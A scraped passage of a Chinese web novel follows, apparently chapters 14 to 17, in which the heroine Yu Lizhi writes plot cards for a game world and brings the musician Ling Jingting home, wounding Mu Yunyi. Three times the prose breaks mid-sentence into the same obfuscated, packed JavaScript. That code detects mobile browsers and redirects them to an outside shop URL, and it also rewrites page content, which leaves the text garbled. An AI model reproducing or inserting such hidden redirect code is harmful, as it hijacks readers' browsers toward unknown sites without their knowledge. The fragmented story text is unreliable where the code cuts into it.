原是楚岚山。他不知从哪里得了消息,亦或是从一开始便躲在暗处一路随行,未曾让郁离枝兄妹二人察觉。 郁离枝看着楚岚山停了几息,手指微动,侍卫随即敏锐地进了烟香阁。 “为我拿来抽屉内的木匣,还有……书桌上放的几本我新买来的话本。帮我订一间上等客房,将东西好好拿来安放其间。” 郁离枝压低声音,用只有两人能听见的声息道。 楚岚山领了命,微一颔首,便迅速消失在幽深的街巷之中。 照郁无玦的架势,怕是今夜一整晚都要在这烟香阁,不醉不归。 明日若是伯父伯母回府,不若直接在这烟香阁设宴招待好了。 郁离枝打定了主意。那么接下来要做的事就是把她的办公用具带来了。 还好有楚岚山这个不会掉链子的忠心侍卫。 郁离枝正想着,忽然店面门口传来一阵不知名骚动。 楚岚山刚走没多久,门外是发生了何事?郁离枝抬眼望去。 只见门帘倏地被掀开,郁无玦大步一跨走了进来。 郁无玦在烟香阁的人脉可以说是炙手可热。酒席上伙计见人回来,纷纷举杯起身招呼。 金色穗帘晃动几下,正要服帖地落下,却突然被一双骨节白玉的手接住,继而缓缓掀开来。 一气质缥缈出尘的白衣男子现了身形,含笑的柳叶眉眼猝不及防地撞进郁离枝的眼睛里。 郁离枝端着茶杯的手微顿,忽而没来由地回想起白日在话本上见过的那一段段外貌描写—— “惊鸿一眼芙蓉面,花容月貌为谁妍。” 白衣男子与郁离枝短暂地眼神相接之后,向里面走去。身后,掌柜也掀帘弯腰走了进来。 白衣男子未在酒席上停留,而是径直走向台上。他坐在戏台之上先前已经架好的古琴之前,轻轻抚弦,几声琴音倾泻而出。 只是几声,便有艳压群芳之势。 “这人是……?”一个靠着戏台的年轻伙计看向戏台上男主犹疑问道,许是刚在烟香阁做事不久的新人。 “哎……”掌柜语气抑扬顿挫,忙喝止这有眼不识大佛的年轻伙计,嘘道,“这可是当今最负盛名的……” 一声铮然琴声倏地响起,似在肃清。 余音消散后,古琴后面的男子弯起柳眉,淡声道: “在下名唤陵镜听。不过一平平常常的琴艺师。” “哎!我们这烟香阁实属有幸,能再次请到镜听先生,聆听陵公子的佳音。我这烟香阁主,在此不胜感激……”掌柜诚惶诚恐道。 “掌柜,镜听他可不喜欢这套。你要真心感激,不若今日择一个最上等的客房给了他,那才叫有诚意呢……”郁无玦逢乱必出,打趣道。 掌柜忙不迭顺坡下驴,是是是好好好地安排客房。 名唤陵镜听的白衣公子又奏了几曲清音之后离了场。 几个伙计喝得烂醉如泥,被醉醺醺地扶回房休息了。 唯有酒量好到令人发指的郁无玦仍在席上,跟掌柜还有几个伙计天南海北地谈天。 几人来收了宴席上的残羹剩饭。 夜已渐深,饶是平日最繁华奢靡的烟香阁,现下也呈现出一副冷情之态。 见人已大多离席,郁离枝在郁无玦的招呼下坐到了戏台前的酒桌之上,跟郁无玦边吃酒边吃甜点。 “阿离今夜也不回府了?那不如明日设宴,就在这里招待阿嫣他们吧。” “如此也好。” “只是不知道伯父伯母那两个老古板来这种''不入流''的地方吃饭会不会把胡子气歪哦……到时候指不定又要指着我的鼻子骂''不肖子孙''了……” 郁无玦装模作样地话里暗含幽怨,实则模仿语气时嘴角已然压不住了。 “不然他们以为个个都跟阿嫣姐一样这么省心啊……须知阿嫣姐可是百年难遇的人中龙凤……” 郁离枝听着,为了不露馅只得框框给自己灌酒,佯装腾不出嘴来。 兄妹二人正有一搭无一搭地聊着,楚岚山无声无息地从店门进入,俯首在郁离枝身旁。 看来事已办妥,房已订好了。 于是郁离枝起身,告知郁无玦她已有些醉意疲乏,遂先行回房休息了。 回到客房,郁离枝掩了门,打开木匣中的黑色笔记本。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 【完成部分每日任务!获得绮缘之晶*20!】 说实话,关于剧情仍是一筹莫展。 郁离枝伏案思索了一会,仍是没有头绪,遂打开了背包,点开“雄竞扯头花”卡牌立绘。 毕竟这是她目前唯一能获取到的提示了。 就是这幅青衣男子与白衣男子对弈之图。 郁离枝锁眉用眼睛一寸寸扫视着这画面,力求不放过任何一个细节。 近了看,远了看。细细地看了,又去观全局。 看着看着,郁离枝眨了眨眼,无端在这一袭白衣的画中角色身上幻视了几分席上所见的陵镜听的风采。 或许,可以……? 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:2860!扣除后余额:2760!】 翻开的黑色笔记本全息投影之上,冰冷的机械音打断了郁离枝的思路。 明日还要宴请她那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202084|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 素未谋面的名唤郁亦嫣的姐姐一家,而今日所剩的时间怎么看也不像是可以再写稿的了。 而且那个名叫陵镜听的白衣琴师……似乎也正住在烟香阁。或许,此事不必急于求之。 说一不二,郁离枝于是迅速吹熄了烛火,在比之郁府要略吵闹些的烟香阁客栈中,缓缓沉入了梦乡。 空气中混合着一丝朝露和清新晨光的气息,灰尘在客栈中缓缓扬动,在阳光照射下熠熠闪光。 郁离枝比以往更早地醒来了。她有些怀疑自己是不是睡觉认床。 但既然已经醒了就没有再睡回去的道理。郁离枝推开房门,十分戏剧性地一瞥看见相隔几个客房之外,一抹白衣飘逸如尘。 正是刚掩门欲外出的陵镜听。 “镜听,见过离枝姑娘。”陵镜听见了郁离枝,眉眼含笑,却是十二分的坦然。 郁离枝:……? 他认识我? “陵公子好。”郁离枝套上一副温婉熟络面容,温声笑道。 陵镜听经过郁离枝身侧时微一点头当做回应。 “离枝姑娘,午时家宴时再见。镜听现下约了人,先失陪了。” 郁离枝得体地温婉点头。 看来昨夜郁无玦已经把家宴一事告知陵镜听了。 郁离枝下楼,点了些茶点吃食作为早点。 店内伙计许是昨夜喝酒宿醉了,一眼望去烟香阁内人还不多,只有三三两两食客。 待填饱肚子,郁离枝又折回了客房。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 对于“雄竞扯头花”这一剧情卡,郁离枝心里已经有了一个大概的雏形。 陵镜听的身份太合适了。善琴曲,模样也比之暮云逸丝毫不差。 但是她拿不准的是,这个方向是否正确。 于是她伸手摸向昨夜楚岚山带来的话本—— 先看看这本叫做《娇醋》的话本吧。虽然是一男多女,但郁离枝估计剧情这种事也是万变不离其宗。 看剧情,大概是个写妙龄少女看心上人被同门追求遂故而堂而皇之吃味的话本。 郁离枝迅速翻动书页,眼睛抓取了几句关键台词: “哼,她既那么好,那你去找她去吧!”撂下这一句话,扎着羊角辫的少女把那状似河豚的脸一别,不理男主兀自生气去了。 男主:会心一击。 郁离枝实事求是地凝眉思索:这种桥段如果放在暮云逸身上……她有点想象无能。 “这个桂花糕……是我、是我熬夜花了好久做出来的,给你!才、才不是为了做得比她更好呢!只是想让你记住……记住最甜最好吃的桂花糕是我做的!”娇俏少女顶着乌青眼圈,色厉内荏道。 男主:那还说啥了。甜甜甜,香香香! 好标准的傲娇啊。古代人也吃傲娇这一口吗? 郁离枝合了书,她还是判断错了形势。看来女性的争风吃醋跟“雄竞扯头花”这一概念还是有别的,是她想当然了。 那还是按照她心里的那个框架先写出来吧,是与非都交由审稿系统判断去吧。 郁离枝刚合了书,却听见客栈楼下,也就是烟香阁门外,响起一阵马蹄之声。 马蹄声停在烟香阁门口,随之而起的是街巷上的人言嘈杂和骚动之声。 郁离枝被吸引去了注意力,把琉璃窗户打开了一个缝隙,向下望去。 只见制式奢华的马车之上,一对身着锦服的中年夫妻神情严肃地走了下来。 后面跟着的一架稍小的马车之上,一衣饰华贵的年轻女子也随之走下。 那女子眉目艳丽,眼神里含着一股傲然之色,冷冷看了看“烟香阁”这挂在门上的三个大字牌匾,举止矜贵地迈入了烟香阁。 只是看见前面两夫妻熟悉的衣服制式,郁离枝就已经可以得出,这便是伯父伯母一家了。 那么那个年轻女子,便是她的姐姐,郁亦嫣了。 郁离枝无暇多想,迅速掩了窗出门下楼,去接她的长姐一家。 15. 寻欢与空闺 “伯父,伯母,阿嫣姐。” 郁离枝飞速拾级而下,垂首恭敬向长姐一家问好。 “阿离,”伯母见了她,原本端庄的面容柔和了些,随即却又眉毛一扬,“无玦那小子呢?又是他把你叫来这种地方的吧?” 话音刚落,楼梯之上便探出一个脑袋。 “伯父伯母!阿嫣姐!”郁无玦自楼梯上招招手,三步并作两步蹿了下来。 见了郁无玦,伯母还未来得及数落,身旁眉目严肃的伯父却已板起了面孔。 郁无玦嬉皮笑脸下了楼梯站到二老跟前来,先发制人:“伯父伯母!无玦已经订好了雅间,还命人备了您爱喝的青雪茶!还有阿嫣姐爱吃的荔枝,专门买的产自安芜的!来来来,咱们先进去坐!” 伯父眉毛微翘正欲开口数落郁无玦,一下子被这一套组合拳堵的严严实实,也不好再发作,只得沉吟片刻,仍是板着脸被郁无玦半推着进了雅间。 雅间内暗香浮动,几盆翠景将室内装点得雅致脱俗。 “伯父伯母先略坐一会,我已命人去备宴了,一会就好。” 青雪茶绵延的茶香在空气中逸散开来。 “当”一声脆响,伯父将茶杯置于桌上,缓缓开口。 “无玦,你父亲最近怎么样?” “哈哈、好着呢……”郁无玦的笑容带上了几分心虚。 “无玦,以后切不可这么任性,给你妹妹做个好榜样。行事要时刻记得郁家风范,心明如镜,自有乾坤。” “是,伯父……”郁无玦肉眼可见地蔫了下去。 伯父满意地颔首,转而将目光移至坐在窗旁的郁亦嫣: “亦嫣,研学一路,可有收获?讲与你弟弟妹妹听听。” 郁亦嫣本望向窗外,闻言转头淡声道: “此次无为山一行,整理了四十余篇佚文,修订了三处错误。”郁亦嫣凤眸微抬,语气凛冽,顿了顿,“不日我会整理成册,交到馆里。” 伯父满意点头,雅间内一阵难言的沉默。 郁离枝低头捧茶,觉得这风水似乎要轮流转到她头上了。 然而出乎意料的是,伯父伯母却出奇地没有为难她。 又聊了些家常琐事,宴已备好,几人便回了饭桌上。 一顿饭间,郁无玦又是一阵忙上忙下,尽管在伯父难言的眼神下他已然收敛了许多诸如勾肩搭背一类的举止。 交杯换盏间,这午宴也近了尾声。 郁离枝饭量稍小,早些时候就已几乎只是吃茶而不拾筷了。 在郁离枝一旁,长姐郁亦嫣的小碟子里,正放着几个新鲜带露的荔枝。郁亦嫣放下筷子,涂着丹蔻的指节将莹白的荔枝肉送入口中。 郁离枝却忽地记起一事。 早些时候她与陵镜听相遇之时,对方曾告诉过她今日午宴会来。 但现下宴席几乎已毕,却丝毫没有那白衣公子的影子。 莫非出了什么差池? “无玦,阿离,阿嫣游学数日,我们昨夜又几乎是连夜赶回,就先回府歇息了。”伯母站起身道。 郁离枝也忙站起身,与郁无玦一起送了伯父伯母家一程。 回来的时候,却正好撞见刚刚进门的陵镜听。 “镜听,你不守时哦。伯父伯母刚刚走。”郁无玦装腔作势严肃道。 “抱歉,无玦。有些事耽搁了。既如此,今日罚镜听奏两倍琴曲给无玦兄和郁离姑娘二人听,如何?”陵镜听把柳叶眉弯成一条线,略带歉意笑道。 郁无玦拊掌叫好:“那敢情好!赚到了。” 于是郁离枝又在席间,听了几曲阳春白雪的高雅艺术。 此期间郁离枝一直将目光放在台上正弹奏的白衣公子身上,手里的茶渐渐空了也浑然不觉。 无他。郁离枝不是沉迷美色看傻眼了,而是大脑后台已经开始自动构建剧情了。 “阿离……” “哥哥……” 兄妹二人同时开口。 郁离枝发觉了不对,放了茶杯将眼神回到她那表情促狭的哥哥脸上。 “阿离,你一直盯着镜听,莫不是……?” 郁离枝轻咳一声,拾起一个正色的面具道:“哥哥莫要打趣我了。哥哥可知,陵公子此番在烟香阁要待多久?” 郁无玦带着意味深长的笑,扶臂若有所思道:“大概明后两日就会离开烟香阁吧。阿离可要抓住机会哦。” 郁离枝懒得解释,干脆将错就错,点点头:“原来如此。” 几首曲毕,陵镜听起身收琴。人精郁无玦先一步跳起来,在郁离枝还未起身之时就已经一溜烟蹿到了楼梯下面: “镜听,阿离!我突然想起来我跟跑堂伙计还约了麻将,先走一步!” 说着一溜烟没了踪影。 只留下郁离枝与台上陵镜听二人面面相觑。 陵镜听无声叹了口气,缓步走下戏台。 “离枝姑娘可是要回房?” 音色清雅,玉面生花。 “正是,陵公子呢?” “陵公子跟离枝姑娘一道。” 陵镜听抱琴,走在距离郁离枝半步位置,衣袂随步履轻起。 “陵公子……”郁离枝斟酌了一下词句,仍是开口。 “嗯?离枝姑娘,怎么了?”陵镜听侧首看向郁离枝,唇角轻挽。 “陵公子此后几日……可有什么安排?” 陵镜听一怔,浅色眼瞳一瞬不瞬地睁大了片刻,随即又被自然和煦的浅笑盖过。 “镜听明日午时有客人相约,须得前往献艺。入夜时分过后……虽仍有零星散客的邀约,但镜听现在想了想,似乎也可以弃之不顾。离枝姑娘何以问起这个?” 明夜就可以?郁离枝得了准信,已然开始发动理工脑拟合剧情,根本无暇在意身侧美男说了什么。 “好,陵公子,有缘再见。”郁离枝心已不在此处,草草道了别就回了客房。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 郁离枝打开码字界面,开写! 郁离枝埋头。 几柱香时间过去,一轮红日已经西沉,郁离枝终于把头拔了出来。 郁离枝摇了摇写得发昏的脑袋,顺手把稿件提交了上去。 她自书桌上起身,活动了一下酸痛的肩颈和肌肉。 桌面上的黑色笔记本跳动了几下加载界面,却在郁离枝掰动酸软指节的“崩”一声中,同时响起了一声通过音效。 【审稿完成!结果复 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210638|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查中!】 【剧情逻辑发展较为合理,主要角色人设有差异对照,具有看点!此卡片剧情线程较长,请玩家注意整体逻辑通畅,已过稿!】 【今日每日任务已完成!】 【恭喜玩家完成SR卡“雄竞扯头花”第一幕的撰写任务!】 【剧情构建中……构建完成!剧情线已变动!】 【恭喜玩家达成主线第二章开启条件!】 【请玩家于翌日晚间前往剧情点:烟香阁触发剧情!】 过了! 郁离枝长舒一口闷气。 感谢天,感谢地,感谢她不着调的哥哥终于做了一件着调的事——带她来见了陵镜听。 最后最重要的是:感谢老己! 郁离枝锁好了黑色笔记本,心情放松地下楼,寻觅佳肴呷茶听曲来犒劳老己去了。 烟香阁的戏台之上似乎有唱不完的戏,一个个胭脂粉黛的舞女唱了又舞,舞尽了力仍有新的舞女登台接替。 婉转媚音,与盈柔腰肢,似乎成了烟香阁最好的背书。 郁离枝今日心下了无烦恼,一时失了节制,饮了过量的酒。是以还远远不到往日郁离枝休息的时间,但郁离枝却已醉得惺忪,早早踩着有些虚浮的步子,上楼休息去了。 而此时的郁府,却全然不是这样一副繁华景象。 几只纸灯笼在夜风中轻轻摇曳,涂抹出的暖色光却全然不足以照亮这浓重的漆夜。 暮云逸轻仰头望着那灯笼,又一阵夜风忽地吹过,灯笼一旁的槐树倾洒下几片枯叶。 一柱香前,侍女曾小心地敲响暮云逸的院门,抱着一个盘状的食盒,恭敬地俯身呈与暮云逸。 暮云逸看了一会那食盒,终是无声的轻呼了一口气。 “……离枝姑娘,今日也还是没有归府么?”暮云逸语气苦涩。 “回公子,大小姐一家午时已经归府,二少爷哺时也已回府,三小姐……应是还在烟香阁,未曾归府。”那侍女回道,却是连头也不敢抬。 烟香阁……? 暮云逸在院落中站了一会,待落叶静静飘落交叠,他终是出声,说把食盒放于院内的石桌上就好。 侍女无声退下,暮云逸站在庭院,看了许久落叶。 待走过去打开食盒的时候,其间的饭菜已经微微凉了。 暮云逸看着那其间菜品微微一愣。 俱是此前在内厅与郁离枝共用晚餐的时候曾见过的:清蒸鲫鱼、糖醋酥肉、开水白菜…… 暮云逸指尖微顿。 这里面的每样菜,他都知道味道,他都尝过。 暮云逸性内敛也不好挑剔,所以每次在内厅用晚饭时,都只会吃靠近自己的那几个菜。 而面前这食盒里,却正是这些菜。 暮云逸胸口微微起伏几下。 这是离枝姑娘有心为之吗……?她是以为自己喜欢吃这些菜,所以特意要为他送来这些? 可是离枝姑娘,你现在在哪里,在做什么呢? 如果是在烟香阁,那么你是否是……因为遇到了什么人,所以才迟迟不曾归府? 一阵风穿堂而过,将清冷院落内的落叶席卷而起,而后又洋洋洒洒地抛下。 就好像……你当初把我捡来一样? 16. 雄竞扯头花(一) 暮色渐沉。烟香阁内,菜食热气腾腾,滋滋作响,几盏灯笼花灯倏地亮起。 郁离枝轻倚坐在在距戏台两桌之遥的茶座上,指尖拢起,轻轻用茶壶盖揩了揩茶水上细微的水泡。 一室,茶烟渐起。 几声清雅琴音也随之而起,越过碗筷勺盏细碎之声直至传到郁离枝耳边。 一柱香之前—— 郁离枝于烟香阁一隅端坐,仍是守株待兔。 此行目标是,将一人带回郁府。 这一幕怎么这么熟悉? 郁离枝呷茶苦笑。没错,她昨日写稿的时候就已然发觉了这种诡异的既视感。 因此,她在今日剧情使用的一些措辞上,还做了些细微的区分。 不过这游戏世界的剧情向来是不会完全一比一复刻郁离枝的稿子的。 就比如刚才。 郁离枝本已在茶座等了陵镜听好一会,终于见这玉面公子挽帘进了烟香阁,正要直直朝郁离枝走来,却被身侧酒桌上的食客给截胡了。 “哎,这不是我们当今的尘川第一弦陵公子嘛!”那食客笑得红光满面,见了陵镜听恍若见了什么稀世珍宝,“半月前我曾托人问候过陵公子,今真巧,就见上了!来来来,快来跟我们弟兄几个来一曲!” 于是乎陵镜听只得登了台。 无妨,郁离枝习惯了。 剧情出点小状况也是在情理之中,属于可以接受的范畴。 于是郁离枝又耐心等到了曲毕,看着台上白衣公子缓步走下。 “陵公子。” “离枝姑娘,久等了。”陵镜听抱琴走至郁离枝所在茶座,玉面上含着歉意的笑,“今日镜听始终记着与离枝姑娘的约定,特地早些赶来。可奈何诸位盛情实在难却,镜听先前也曾答应过这些散客,只得花了些时间献曲,离枝姑娘莫要怪罪。” “哪里。离枝今日能坐于台下听陵公子一曲已是殊荣。听那几个官人称呼陵公子''尘川第一弦'',想来是离枝身居闺阁孤陋寡闻了,此又是何种称呼?” 郁离枝起身边闲聊,边给对面茶座上事先已经准备好的茶杯中注入分量适宜的清茗,行了一礼,恭敬邀坐。 “不过是江湖上的诨名罢了,离枝姑娘不必在意。”陵镜听挽了衣摆恭敬坐下,面上是一片春风和煦,“委屈离枝姑娘久等一番。是以,离枝姑娘此番找我,是为何事?” 郁离枝见对方问起,便也不迂回寒暄了,直直开口道: “陵公子实是善解人意,那离枝也不卖关子了。郁府上下现今还缺些技艺精湛的乐师,不知陵公子可肯纡尊赏脸,屈才到我这郁府上给我这平淡郁府添点光彩呢?”郁离枝轻刮茶水,言辞上极尽诚意恳切,动作上却也丝毫没有失了世家小姐的上位之感。 先给他戴个高高的帽子。 陵镜听听闻,眼底的笑意愈深,却只是柔柔的,像水面上的浮萍一般无一丝攻击性。 “镜听只是一平平无奇的艺师,实在难堪姑娘厚望。能被离枝姑娘青眼相看,实属在下三生修来的缘分。” 郁离枝轻抿一口茶,却未再闻对面的声息。 嗯?没有下文了?不吃这套? 那就planB。郁离枝请放下茶杯,又换了一套说辞。 “离枝不瞒陵公子。其实自第一眼见到陵公子,离枝就只觉为何眼熟至此,竟是像曾见过一般。”郁离枝看向对面睫羽微敛的男子,化用了自己为数不多文学修养里《红楼梦》里的词句,展开了怀柔战法。 听了此言,陵镜听柳叶般的眉尾已经彻底弯成了一个有些柔媚的弧度,仿佛是计谋得逞一般地松了口:“那离枝姑娘都这样说了,镜听再不把自己交给离枝姑娘,可就实属不解风情,拂美人之意了。” 好好好,郁离枝终于放下心,轻点了点头。 “既如此,陵公子今夜就跟我回府吧。我已命家里的侍者做好了一桌酒菜,陵公子也正好跟我去试试郁府的菜食合不合口味。” “镜听全由离枝姑娘做主。”陵镜听状似娇赧地微微垂首,俨然换了一副顺从模样。 从烟香阁外的街巷拐出,几转几出,便来到了郁府。 “三小姐回来了!快快快,膳房那边备好了没有?快去内厅呈上去!” “两套食具,两套茶杯!给暮公子的那份是谁送的?送过去了吗?”膳房外的院落内,一侍从焦急喊道。 此时院门突然进来了一个抱着食盒的束脚垂首的丫鬟,声音纤弱好似蚊虫,战战兢兢道:“我去送了!可是暮公子不在住处……我、我等了一会不见暮公子回来,到哪里也都没有找到,这餐食都快凉了,只得回来了……” 那院内侍从恨铁不成钢:“小姐特地嘱咐好了的……这暮公子能去了哪里?” 丫鬟不敢回话,先把食盒送去了膳堂重热。 “啊,你问暮公子?我刚见了,在内厅院子里坐着呢,小姐回来不是要跟他一起用晚饭?”一端茶侍从在内厅将茶具放下,刚从内厅回了院子,闻言擦了擦汗道。 “嘶——完了、完了!……”院内侍从闻言双手止不住发抖,登时心乱如麻。 与此同时,内厅。暮云逸独坐于院落石桌内,手指轻轻摆弄着他那失而复原的古琴琴弦,嘴角噙起一抹笑意。 今日他仍是没有等到郁离枝归府,实在坐立不安,于是就出来打算散散心。 不料却在路上听见几个侍女着急忙慌赶回去,口里说着“三小姐要回来了,快去内厅呈饭”之语。 暮云逸闻言轻眨了几下眼,眼睛微微亮起。 离枝姑娘终于回来了。 他迅速折回了住处,抱了琴去了内厅。 离枝姑娘给了他这么多惊喜,他是不是也要花时间给离枝姑娘准备一点惊喜呢? 他已经迫不及待看见那双一看见他就会微微弯起,仿若会说话一样的眼了。 院内又是一阵风卷过,几片刚从树上落下的枯叶在地上轻滑,发出细微的窸窣声。 “吱呀”一声,门开了。 暮云逸迎上去。 门后面是几日不见的离枝姑娘,正眉眼轻弯笑着,可身后跟着的,却是一个同样抱着琴的白衣公子。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217508|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 暮云逸脸上表情凝固住,微微抬起的手滞在半空中。 “暮……暮公子?”郁离枝看着眼前的暮云逸,结结实实傻了眼。 坏菜了,今天的剧情不是只写到带陵镜听回府吗?她特意嘱咐了下人今日不与暮云逸同吃的,他怎会来到这里? “……离枝姑娘?”陵镜听本跟在郁离枝身后,本与郁离枝言笑晏晏,未曾看见院内之人。但见郁离枝杵在原地,也似有所感地向对面望去。 院内的是一位全然另一种风派的公子佳人。 只是此位公子佳人此时正一瞬不瞬地望向郁离枝,眼睛里有不可置信,还有一丝不甚明显的受伤。 暮云逸看向郁离枝身后的白衣公子,看着他怀里制式雅致的古琴,和古琴莹润的琴弦。 手里的琴此时仿佛开始灼痛他的手指。 陵镜听看向二人脸上失态的神色,已品咂出了一丝微妙的不对劲。 而在两人中间的郁离枝,短短几瞬已经飞速头脑风暴了几个回合。 不好,我的剧情! 她本意是今夜先了解一下陵镜听此人,回去再具体写雄竞扯头花情节。 但是系统你能不能出来解释一下现在到底是要怎样啊? 郁离枝不得已运用起其强悍的心理素质安抚自己。魔改就魔改吧,她就知道这破游戏不会乖乖按她的稿子走剧情的。 “咳、暮公子,几日不见可还好?”郁离枝瞬息之间换上了一副笑颜坦然地先发制人,维持面具不崩力挽狂澜道。 暮云逸没有应。 “看来不用离枝特地去请暮公子了。这是离枝请回府的乐师,陵公子,陵镜听。你们二人都擅琴曲,日后有的是时间互相了解。”掌控场面的职业病犯了,郁离枝下意识地开始介绍。 陵镜听闻言温润一笑,救场似的开口:“暮公子好。” 暮云逸的手无声垂下,把目光从郁离枝脸上移开,缓缓垂首。 “陵公子……好。” 声音喑沉,道不清其中情绪。 “既然认识了,那么快进去吃饭吧?”郁离枝维持着面部表情,行一礼让行。 暮云逸足下未动,垂首微微侧过头不去看她。 陵镜听则是温顺一笑,反是先行一礼示意郁离枝先行。此后也不急着迈步,而是似有若无地瞥了暮云逸一眼。 郁离枝与陵镜听二人先后进了内厅。 暮云逸在原地站了几息,胸口翻涌几下,才缓缓抬起脚步,在后面沉默地、像个影子一样地朝灯火通明的内厅走去。 餐桌之上,两套食具已然摆好。下人慌忙跑进来,为桌上又添了一副碗筷,陆续添上了几个菜。 三人落座。 一人居于圆桌正南面,抬手淡然抿茶,唇角带着恰到好处的笑意。 另一人居于正北面,只低着头,手放于腿上,维持着这姿势动也不动。 而郁离枝兀自坐在中间,眼观鼻鼻观心,低头看着这满桌热气腾腾的菜肴。 她忽然觉得,这顿饭,怕是比以往的任何一顿饭都要更难以下咽。 17. 雄竞扯头花(一?五) 郁离枝伸出玉筷夹了块沾着酱汁的细嫩豆腐,入口却是有些食不知味。 “陵公子,有合心意的菜食尽管告诉离枝,离枝吩咐下人去赶制。”郁离枝念及陵镜听初来郁府,地主之谊还是要尽到的。 “离枝姑娘费心了,镜听都很喜欢。”陵镜听眉目含笑,一如郁离枝杯中清绵的茶水,恰如其分又不让人觉得有异。 郁离枝点点头,未再寒暄更多。 凝滞气氛充斥了整个内厅,郁离枝只觉难捱,下意识转向桌上另一青衣男子道: “暮公子,这几日离枝不在府内,可还好?离枝命人专门送去的饭食,可还喜欢?” 暮云逸不着痕迹躲了郁离枝笑得温婉的眉眼,手指微蜷。 “……我,很好。” 之后便再无话。 陵镜听修长手指持着玉筷,也微微抬眼,不动声色地以余光打量着眼前二人。 郁离枝尽力对这诡异的氛围视而不见,脑子里飞速盘算,果断把了解陵镜听的计划推到了晚饭以后。 ……这场面怎么看也不像是能这么干的。 郁离枝正如坐针毡,一侍从却自院外前来,立在内厅门前恭敬禀报: “小姐,住所已经打理完毕,今夜就能入住,小姐要不要……” “好,先退下吧。”郁离枝忙不迭堵了侍从的嘴。 ……少说两句吧。 暮云逸闻言,第一次抬起眼来。 眼睛不想停留在坦然坐于一旁的郁离枝脸上,而是转向对面白衣公子的脸。 陵镜听似有所感,抬眼与对面男子目光相接,露出一个极其合乎礼仪的微笑。 ……果然是一副好模样,玉面修骨,眉目含情。 暮云逸仿佛被刺痛,倏地游移目光,低下头去。 曾几何时,暮云逸以为自己是特殊的。 他听过下人侍女们的闲言碎语,一开始说是小姐先前明明从未见对男女之事有什么兴趣,却唯独带回了自己。 他只是感恩,却从不敢多想。 后面与这位世家小姐相处时日变多,他日渐从一件件事中发觉,她是真正地尊重、偏爱他。 为他修琴、赐他敬重、予他信任…… 现在,这些都要原封不动地送给对面的那个公子吗? 可是,我呢? 饭桌上,居于另一端的郁离枝却浑然未觉。 陵镜听见对面人收回了目光,也微敛睫羽,低头抿了一口茶,含于口中。 待茶水入肚,又是一个霁月清风的公子: “多谢离枝姑娘垂怜。得美人青眼,镜听自不会辜负。镜听云游浪迹多年,于琴曲一道略有所得,不敢自称通晓,但若离枝姑娘现下有什么想听之曲……”陵镜听起身拾琴,转身欲摆开古琴,有弹奏之势,“镜听愿为姑娘全力一试。” 郁离枝还未答话,谁知身侧传来座椅摩擦地面的一声响动,暮云逸倏地站起身来。 “……陵公子,离枝姑娘,抱歉。暮某今日身体略有不适,就先回去了。”暮云逸声音喑哑,最后说出口的几个字几乎微不可闻。 暮云逸说完,无视郁离枝的尔康手,未做停留地抱了琴踏出门去,背影看上去竟像是在逃。 “暮公子!” 郁离枝也站起身来,跨出门去追了两步,直直向夜色里的暮云逸喊道。 浓重夜色里,暮云逸应声停住,微微侧首,却没有看向身后处在内厅灯光里的郁离枝。 郁离枝这一喊只是下意识,她没想到暮云逸真停住了,也还没想好该说点什么,舌头好像打了结。 “……呃,暮公子身体不适,可是要离枝派来府上大夫为暮公子看看……?”郁离枝绞尽脑汁,却只是竭力挤出这样不痛不痒的一句话。 隐在暗色中的暮云逸闻言,仿佛失了最后的力气,嘴角却自嘲地挽起: “……离枝姑娘,不必了。暮某只是觉得有些疲乏,回去歇歇便好,不劳离枝姑娘费心。” 说完缓缓转身,一步一步地走出了院落。 郁离枝呆在原地哑口无言,片刻后,只得又回了内厅。 一回到灯火通明的内厅,陵镜听便迎了上来,面上有几分神伤与担心。 “……暮公子如何了?可是镜听……太过招摇,惹暮公子不快了?” 郁离枝心力交瘁,可见了眼前玉面公子内疚双眸,却仍是被迫营业道: “无事,陵公子还是回来桌上接着用餐吧。琴曲一事,今日陵公子刚刚到府,想来也已疲乏了,不急于一时。晚饭过后我带陵公子去住处,好好休息一下吧。” 又吃了半顿微凉又心事重重的饭,郁离枝把陵镜听安顿在住处后,终是回了书房。 自烟香阁拿回来的木匣已被楚岚山小心地安放在抽屉内。 郁离枝却精疲力尽地倒向了里间的床上。 稍作休憩后,郁离枝走到书桌旁,把抽屉内的木匣取出来,几下开锁打开了黑色笔记本。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 